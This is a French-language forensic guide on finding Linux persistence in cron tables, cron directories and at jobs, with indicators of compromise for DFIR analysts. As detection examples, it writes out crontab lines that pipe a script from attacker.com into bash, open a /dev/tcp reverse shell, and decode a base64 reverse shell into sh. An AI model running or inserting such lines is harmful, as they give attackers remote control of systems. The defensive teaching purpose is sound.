Contrairement aux environnements Windows où les mécanismes de persistance sont souvent centralisés (ex: le Registre ou une interface unique de planification de tâches), les artefacts de planification Linux sont hautement décentralisés. Une investigation post-mortem exhaustive sur une image forensique montée (ex: /mnt/analyse/) nécessite l’inspection de multiples emplacements distincts.
Chaque utilisateur du système, y compris les comptes de service, peut maintenir une table cron individuelle. Les acteurs de la menace détournent fréquemment les comptes de service (comme www-data ou postgres) pour dissimuler leur persistance.
/var/spool/cron/crontabs//var/spool/cron/Il s’agit du fichier de configuration principal pour les tâches à l’échelle du système. Contrairement aux crontabs utilisateurs, ce fichier contient une colonne supplémentaire spécifiant le contexte utilisateur sous lequel la commande sera exécutée. Les attaquants y ajoutent des lignes pour s’octroyer des privilèges d’exécution root.
/etc/crontabLes distributions Linux utilisent des répertoires modulaires permettant aux paquets installés de placer leurs propres configurations de planification ou scripts exécutables.
Fragments Cron.d (/etc/cron.d/)
contient des fichiers de configuration dont la syntaxe est identique à /etc/crontab. Les attaquants y déposent souvent des fichiers déguisés (ex: update-service-bin) pour se fondre dans les planifications de paquets légitimes.
Scripts périodiques (/etc/cron.hourly|daily...)
ces répertoires ne contiennent pas de configurations cron, mais plutôt des scripts shell exécutables. Les attaquants déposent simplement un script bash malveillant (ex: backdoor.sh) dans /etc/cron.hourly/ pour garantir une exécution systématique.
Alors que Cron est conçu pour des tâches récurrentes, l’utilitaire at planifie des commandes pour une exécution unique dans le futur.
Les acteurs de la menace exploitent les tâches at pour des délais tactiques (ex: exécuter un script d’effacement destructif trois heures après leur déconnexion) ou pour un mouvement latéral asynchrone.
/var/spool/at/ ou /var/spool/cron/atjobs/at contiennent l’état complet des variables d’environnement et la commande exacte à exécuter. Bien qu’ils soient automatiquement supprimés après exécution, la récupération d’une tâche at en attente ou orpheline fournit une preuve définitive d’une activité malveillante planifiée.Lors de l’audit des crontabs et des scripts planifiés, les analystes doivent rechercher des anomalies de syntaxe spécifiques et des modèles d’exécution indiquant une compromission.
Déploiement de charge utile (Droppers) et exécution en mémoire :
commandes utilisant wget ou curl pointant vers des IP externes ou des domaines suspects (comme des gists GitHub bruts ou Pastebin), souvent redirigées (piped) directement vers un shell.
* * * * * root /usr/bin/wget -q -O - http://attacker.com/beacon.sh | bashReverse Shells (Balises C2) : commandes classiques (one-liners) tentant d’établir des connexions sortantes vers un serveur de commande et contrôle.
@hourly www-data bash -i >& /dev/tcp/192.168.1.50/4444 0>&1Exécution depuis des répertoires inscriptibles :
toute tâche planifiée exécutant un binaire ou un script situé dans des répertoires inscriptibles par tous (world-writable) tels que /tmp/, /var/tmp/ ou /dev/shm/ est un indicateur fort de préparation de malware (staging).
Offuscation (Base64) : longues chaînes de caractères aléatoires conçues pour échapper à la détection par simple correspondance de chaînes.
*/5 * * * * root echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuNS84MDgwIDA+JjE=" | base64 -d | shAfin d’analyser efficacement la persistance cron, les équipes DFIR doivent appliquer des techniques spécifiques de corrélation et d’analyse.
crontab -l, qui n’affiche que la planification de l’utilisateur courant. Les analystes doivent parcourir manuellement l’ensemble de l’arborescence du système de fichiers (/etc/cron* et /var/spool/cron*)./usr/local/bin/backup.sh), les analystes doivent inspecter le contenu de backup.sh. Les attaquants ajoutent fréquemment des lignes d’exécution malveillantes tout à la fin de scripts de maintenance légitimes pour éviter la détection.mtime) des fichiers dans les répertoires cron.daily ou cron.d. Si la date de modification d’un script correspond à la fenêtre d’intrusion suspectée — alors que tous les scripts système environnants datent de l’installation de l’OS — il s’agit d’un artefact de compromission confirmé.